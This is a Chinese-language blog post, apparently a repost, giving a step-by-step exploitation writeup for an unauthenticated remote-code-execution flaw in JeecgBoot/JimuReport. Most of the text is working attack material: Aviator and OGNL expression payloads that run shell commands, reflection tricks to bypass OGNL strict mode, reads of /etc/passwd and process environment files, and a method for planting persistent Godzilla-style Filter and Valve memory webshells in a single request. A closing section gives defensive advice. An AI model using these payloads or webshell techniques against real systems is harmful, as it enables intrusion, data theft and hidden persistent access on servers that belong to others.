JeecgBoot/JimuReport未授权RCE技术分析:从表达式注入到内存马

admin 2026-09-06 04:47:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了JimuReport<=2.5.0未授权RCE漏洞的完整利用过程,从Aviator表达式注入绕过到OGNLstrictmode绕过,最终在Java17+Tomcat10环境注入内存马。文章记录了真实踩坑细节,包括环境指纹探测、文件传输方案及jakarta适配问题,对安全研究与防御建设具有较高参考价值。 综合评分: 88 文章分类: 漏洞分析,红队,渗透测试,安全工具


JeecgBoot/JimuReport 未授权 RCE 技术分析:从表达式注入到内存马

原创

luckone luckone

SafetyTeam

2026年9月1日 15:50 中国香港

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

本文基于授权测试环境完成,对目标信息做了脱敏处理,仅作为技术分享。 记录一次完整的漏洞利用过程:从一个报错 Function not found: Eval.me 开始,逐步打通任意文件读取、命令执行,最终在 Java 17 + Tomcat 10(jakarta)环境下成功注入内存马。全文包含大量真实的”踩坑-定位-绕过”细节,希望对读者有所启发。

声明:本文内容仅用于安全研究与防御建设,请勿用于非法用途。


0. 漏洞背景

JeecgBoot 的积木报表组件 JimuReport 在 2026 年 8 月被披露了一个新的未授权 RCE:

  • 影响版本:JimuReport <= 2.5.0(对应 JeecgBoot 官方发行包 v3.9.3 捆绑的版本)
  • 问题接口:POST /jmreport/auto/export
  • 根因:
  1. auto/export

    标注了 @JimuNoLoginRequiredJimuReportTokenInterceptor 直接放行;

  2. JeecgBoot 的 Shiro 又把 /jmreport/** 配成 anon —— 未登录即可进入导出流程;

  3. 导出时,reportParams[].params 的值会被 ExpressUtil.a() 处理:值以 = 开头时,去掉等号后交给 Aviator 表达式引擎执行;

  4. Aviator 只 disableFeature(NewInstance)use 导入、静态方法调用仍然可用,于是可以构造表达式调用任意 Java 静态方法。

官方在 JimuReport2.5.1中修复:禁用 Aviator 的 Feature.Use / StaticMethods / StaticFields 等特性。但由于组件升级滞后,大量部署至今仍受影响。


1. 第一道坎:原版 PoC 直接报错

网上流传的 PoC 长这样:

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{”reportParams”:[{”id”:”<报表ID>”,”params”:{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; ”x”:”=use groovy.util.Eval; Eval.me('[\”cmd\”,\”/c\”,\”ver\”].execute().text')”&nbsp; &nbsp; &nbsp;&nbsp;},”exportType”:”pdf”}]}

测试环境返回:

{”success”:false,”message”:”导出报表失败:&nbsp;Function&nbsp;not&nbsp;found:&nbsp;Eval.me”,”code”:500,...}

这个报错非常关键——它说明:

  1. 漏洞链路确实可达(匿名访问 + 表达式确实被 Aviator 求值了,否则不会报 “Function not found”);

  2. use groovy.util.Eval;

    没有生效。用 Aviator 5.2.6 本地复现后发现:当 use 导入的类在 classpath 上不存在时,Aviator 会静默忽略导入,随后 Eval.me(...) 被当成未注册函数 → FunctionNotFoundException

也就是说:目标环境确认是 JimuReport 2.5.0 + Aviator 5.2.6,但 classpath 上没有 groovy 库。原版 PoC 在带 groovy 的环境能打,在这类环境中必须换路。

顺带一提:payload 里的 [“cmd”,”/c”,”ver”] 是 Windows 命令,若目标是 Linux,即使表达式能执行也会失败。

2. 环境指纹:把目标摸清楚

既然表达式能执行,先做”引擎指纹”。用 Integer.parseInt(表达式) 让结果以异常消息的形式回显:

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 表达式结果如果是字符串,会出现在:&nbsp; &nbsp; &nbsp;&nbsp;// ”导出报表失败: For input string: \”<结果>\””&nbsp; &nbsp; &nbsp;&nbsp;=use java.lang.*;&nbsp;Integer.parseInt(System.getenv('HOME'))&nbsp; &nbsp; &nbsp;&nbsp;// -> For input string: ”/home/<用户名>”

用这个方法可以摸清目标环境的典型配置(下表为测试环境的通用特征,不同环境需自行探测):

| 项 | 值 | | — | — | | 框架 | Spring Boot 3.x + 嵌入式 Tomcat 10.x(jakarta.servlet) | | JDK | Java 17(JPMS 模块限制,无 --add-opens) | | 运行身份 | root(java -jar <应用>.jar 方式启动) | | 鉴权组件 | sa-token(响应头可观察到自定义标识) | | 经典依赖 | commons-io、ognl、commons-collections 等(影响后续利用路径) |

同时确认:classpath 上没有任何 groovy / Nashorn(Java 17 已移除),原版 PoC 在此环境彻底无望。

3. 关键突破口:classpath 里有 OGNL

用 Class.forName 探测依赖时发现:

&nbsp; &nbsp;&nbsp;&nbsp;org.apache.commons.collections &nbsp; ✓(CC 链可用)&nbsp; &nbsp; &nbsp;&nbsp;com.sun.org.apache.xalan...TemplatesImpl ✓&nbsp; &nbsp; &nbsp;&nbsp;org.springframework.expression.spel... ✓&nbsp; &nbsp; &nbsp;&nbsp;ognl.Ognl &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;✓ &nbsp;← 这才是关键

OGNL 是完整的表达式语言,支持任意 Java 调用(new、实例方法、反射)——这是绕过 Aviator 限制的绝佳后门。

于是第一版 RCE 成形:

&nbsp; &nbsp; &nbsp;=use&nbsp;ognl.Ognl; Ognl.getValue(&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; ”new&nbsp;java.lang.ProcessBuilder({'sh','-c','id'}).start()”,&nbsp;'')

结果又被拦:

Method&nbsp;[public java.lang.Process java.lang.ProcessBuilder.start()]&nbsp; &nbsp; &nbsp;&nbsp;cannot be&nbsp;called&nbsp;from&nbsp;within&nbsp;OGNL invokeMethod() under stricter invocation mode.

4. OGNL strict mode 绕过

OGNL 3.2.x 增加了 “stricter invocation mode”,根据被调方法的 declaringClass 做黑名单:Runtime、ProcessBuilder、ClassLoader、AccessibleObject.setAccessible、MemberAccess 等全部禁止。

突破口有两个:

  1. new

    构造器不在黑名单(按方法拦,不按类拦);

  2. java.lang.reflect.Method.invoke

    不在黑名单 —— 黑名单检查的是”OGNL 直接调用的那个方法”的声明类,Method.invoke 声明在 java.lang.reflect.Method 上,合法。于是通过反射去调真正被禁的方法,OGNL 根本看不见。

组合拳(注意:getMethod(name, Class…) 是可变参数,OGNL 处理会崩,但传显式null表示空参数数组就能绕开):

// ProcessBuilder 构造器合法 -> start() 被禁 -> 用反射调&nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;java.lang.ProcessBuilder({'sh','-c','id'})&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; .getClass().getMethod('start',&nbsp;null) &nbsp; &nbsp;&nbsp;// 拿到 Method&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; .invoke(new&nbsp;java.lang.ProcessBuilder({'sh','-c','id'}),&nbsp;null) &nbsp;// Method.invoke 绕黑名单

命令执行打通,配合 id > /tmp/o.txt + 文件读取回显,命令执行 + 输出回显完成。

5. 任意文件读取(Aviator 直接就能干)

其实不借助 OGNL,Aviator 自己就能读文件(use java.nio.file.* + 嵌套静态调用 + Integer.parseInt 回显):

=use java.lang.*; use java.net.*; use java.nio.file.*;&nbsp; &nbsp; &nbsp;&nbsp;Integer.parseInt(String.join('',&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; Files.readAllLines(Paths.get(URI.create('file:///etc/passwd')))))&nbsp; &nbsp; &nbsp;&nbsp;// -> For input string: ”root:x:0:0:root:/root:/bin/bash...”

还可以读 /proc/self/environ、/proc/self/cmdline、系统属性、环境变量等,信息收集效率很高。

6. 传输文件的三个坑

要注入内存马,必须把 class 文件放到目标磁盘上。这一路踩了三个经典的坑:

坑 1:服务端对 queryParam 做 URLDecoder

auto/export 流程里有一句 URLDecoder.decode(queryParam.toString()),于是 JSON 里的 + 会被解码成空格。base64 里的 + 全被破坏 → 改用hex(纯 0-9a-f,天然免疫)。

坑 2:echo 分块时 – 开头被当选项

echo -n … 这种经典问题,hex 也没有 -,又规避了。

坑 3:请求体超过约 19KB 直接 502

大 class 要么分块多次 echo >> 追加,要么后面用 gzip 压缩 + 单请求内联。

最终传输方案:xxd -p 本地转 hex → 5000 字符/块 echo >> → 目标 xxd -r -p 还原。

7. 内存马之路(Java 17 + jakarta 的连环坑)

7.1 javax vs jakarta:生成工具的”时代差”

用常见的 Java 内存马生成工具(jmg)生成 Tomcat Filter 内存马,部署后报:

&nbsp; NoClassDefFoundError: javax/servlet/Filter

原因:工具默认生成的 Filter/Interceptor 全是javax.servlet(Tomcat 9 / Spring Boot 2 时代),而目标是 Tomcat 10.x(jakarta.servlet)。

关键发现:新版 jmg 其实内置了 jakarta 版 shell(如 jmg/godzilla/memshell/GodzillaJakartaFilter),只是默认走 javax 版。用 jmg 的 core API(GodzillaGenerator.makeShell)指定 shellType=JakartaFilter 即可生成。

7.2 Filter 注册器:预置实例绕过懒加载

自写注册器 FixedInjector 的要点:

  1. 从当前线程的 context classloader(TomcatEmbeddedWebappClassLoader)出发,ccl.resources.context 拿到 TomcatEmbeddedContext

  2. 用 URLClassLoader(父加载器 = webapp classloader)加载 shell 类,newInstance 出 Filter 实例;

  3. 构造 FilterDefsetFilter(实例) 把实例直接预置进去(关键!否则 Tomcat 会在请求时用 webapp classloader 按类名加载,找不到 URLClassLoader 里的类);

  4. addFilterDef

    addFilterMapBefore("/*") 注册映射;

  5. 手动往 context.filterConfigs 里 put 一个 ApplicationFilterConfig(其构造器是 protected,要 setAccessible)。

这样可以得到第一个内存马:请求头触发命令执行的简易 jakarta Filter(几百字节级)。

7.3 管理端内存马也上了

同一套注册器,换 jakarta 版 Godzilla Filter 生成的 shell,管理客户端可连接:

&nbsp; &nbsp;URL: http://target/ &nbsp; &nbsp;密码: <自定义>&nbsp; &nbsp; &nbsp;&nbsp;密钥: (工具自动处理)&nbsp; &nbsp; &nbsp;&nbsp;请求头: <自定义>

7.4 重头戏:一款 Valve 内存马的”静默失败”

测试一款自定义 Tomcat Valve 内存马(随机混淆包名,如 xxx.xxx.IreneDelia,AES + cookie 协议)。部署后第一次报:

NoClassDefFoundError: xxx/xxx/IreneDelia (wrong name: com/shell/GShell)

—— 类名/路径对不上,这个好修。但修好后发现另一个更隐蔽的问题:

这个类的注入逻辑在  静态块里,有两条找 Tomcat 容器的路径:

路径 1:Bootstrap

&nbsp; &nbsp; &nbsp; &nbsp;Class.forName(”org.apache.catalina.startup.Bootstrap”)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → daemon → catalinaDaemon → server → services → inject()

嵌入式 Tomcat 从不初始化Bootstrap.daemon(= null)→ NPE → 被 catch (Throwable) 吞掉。

路径 2:getService()回退

&nbsp; &nbsp; &nbsp;getFieldValue(Thread.currentThread().getThreadGroup(), ”threads”) &nbsp;// ThreadGroup.threads&nbsp; &nbsp; &nbsp;&nbsp;getFieldValue(thread, ”target”) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Thread.target

这两个字段都在java.base 模块。Java 17 的 JPMS 规定:unnamed module 的代码对 java.base 的非公开字段setAccessible直接抛InaccessibleObjectException。而  里全是 catch (Throwable) 静默吞异常……

结果:类加载”成功”、初始化”成功”(不抛错),但 Valve 根本没注入。用 Checker 检查 pipeline:

&nbsp; &nbsp; &nbsp;ENGINE&nbsp;basic valve: org.apache.catalina.core.StandardEngineValve &nbsp; ← 还是原生的,没被换

7.5 Bridge:绕过 JPMS 的注入桥

写一个 Bridge 类,完全绕开 java.base 字段,只用 Tomcat 自己的公开 API 和 unnamed-module 字段(JPMS 管不到):

&nbsp;&nbsp;ccl(webapp) → resources →&nbsp;context(TomcatEmbeddedContext)&nbsp; &nbsp; &nbsp;&nbsp;→&nbsp;getParent() →&nbsp;getParent() → engine&nbsp; &nbsp; &nbsp;&nbsp;→&nbsp;getPipeline() → 读 basic 字段(StandardPipeline,&nbsp;Tomcat类, setAccessible&nbsp;OK)&nbsp; &nbsp; &nbsp;&nbsp;→&nbsp;URLClassLoader&nbsp;加载内存马类 → newInstance&nbsp; &nbsp; &nbsp;&nbsp;→ 设置 oldValve 字段&nbsp; &nbsp; &nbsp;&nbsp;→&nbsp;Proxy.newProxyInstance(org.apache.catalina.Valve, handler) &nbsp;&nbsp;// basic valve 劫持&nbsp; &nbsp; &nbsp;&nbsp;→ 写回 pipeline.basic

注入成功:

&nbsp;&nbsp;ENGINE&nbsp;basic valve: jdk.proxy2.$ProxyXXX&nbsp; &nbsp; &nbsp;&nbsp;handler=xxx.xxx.IreneDelia

而且业务完全不受影响(Proxy 把正常请求转发给原 StandardEngineValve)。

8. 终极形态:单请求注入

前面都是多步操作(传文件、跑注册器、验证)。能否一次 HTTP 请求完成全部?两个优化:

  1. 不用 exec 写文件(ProcessBuilder 双引用会让命令出现两次、体积翻倍),改用 OGNL 直接写:   java &nbsp; &nbsp;@org.apache.commons.io.FileUtils@writeByteArrayToFile( &nbsp; &nbsp; &nbsp;new java.io.File('/tmp/mem/.../MemShell.class'), &nbsp; &nbsp; &nbsp;new java.util.zip.GZIPInputStream( &nbsp; &nbsp; &nbsp; &nbsp;new java.io.ByteArrayInputStream( &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;@java.util.Base64@getDecoder().decode('<gzip+base64>'))) &nbsp; &nbsp; &nbsp; &nbsp;.readAllBytes()) &nbsp; &nbsp; &nbsp; base64 只出现一次,体积可控;
  2. gzip 压缩 class:约 10KB 的类可压到 5KB 左右,注入桥也能压掉近一半。最终:一个 OGNL 表达式(约 10KB,含两个内嵌 class)完成”建目录→写类→加载→注入”全部动作,一次 POST /jmreport/auto/export 即可上线 Valve 内存马。

9. 防御建议

  1. 升级组件:JimuReport 升级到 2.5.1+(禁用 Aviator Use/StaticMethods/StaticFields),JeecgBoot 升级到捆绑新组件的版本;
  2. 接口鉴权:auto/export 去掉 @JimuNoLoginRequired,导出强制登录;/jmreport/** 不要整体 anon;
  3. 别把 HTTP 参数当表达式:getBaseSql 里对 queryParam 做 ExpressUtil.a 求值本身就是设计缺陷,应彻底移除;
  4. 纵深防御:WAF 拦截 params 中 =useOgnl.getValueProcessBuilder 等特征;应用以最小权限运行(避免 root);合理配置 --add-opens 白名单(可缓解但不能依赖);
  5. 监控:关注 /jmreport/auto/export 的异常大请求体(本文单请求注入约 10KB,正常导出远小于此);对内存马特征请求头/参数(如自定义触发头、api= 等)做告警。

10. 总结

完整攻击链:

/jmreport/auto/export(未授权 Aviator 表达式注入)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → classpath 有 ognl → OGNL 任意 Java&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → OGNL strict mode 绕过(ProcessBuilder + Method.invoke 反射链)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → 命令执行 / 任意文件读取(响应回显)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → hex 分块传文件(绕过 URLDecoder)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → jakarta Filter 内存马&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → Valve 内存马(Bridge 绕过 Java&nbsp;17&nbsp;JPMS 静默失败)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; → 单请求注入(gzip + FileUtils 内联,一次成型)

几点值得记住的实战经验:

  1. 报错信息是最好的指纹。Function not foundwrong name数据源配置错误……每个报错都指向一个具体的环境事实;
  2. “类加载成功”不等于”代码执行成功”。<clinit> 里吞异常的静默失败是最难排查的(用 Checker 做二次验证必不可少);
  3. JPMS 是 Java 17 上内存马的头号敌人,但它只拦 java.base,Tomcat/Spring 的 unnamed-module 类可以正常 setAccessible
  4. 表达式引擎的”特性黑名单”通常按方法声明类拦截,Method.invoke 这类反射入口往往是漏网之鱼;
  5. 内存马是内存态的,进程重启即失效,真正的防御还是要落在组件升级和接口鉴权上。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SafetyTeam luckone luckone《JeecgBoot/JimuReport 未授权 RCE 技术分析:从表达式注入到内存马》

评论:0   参与:  0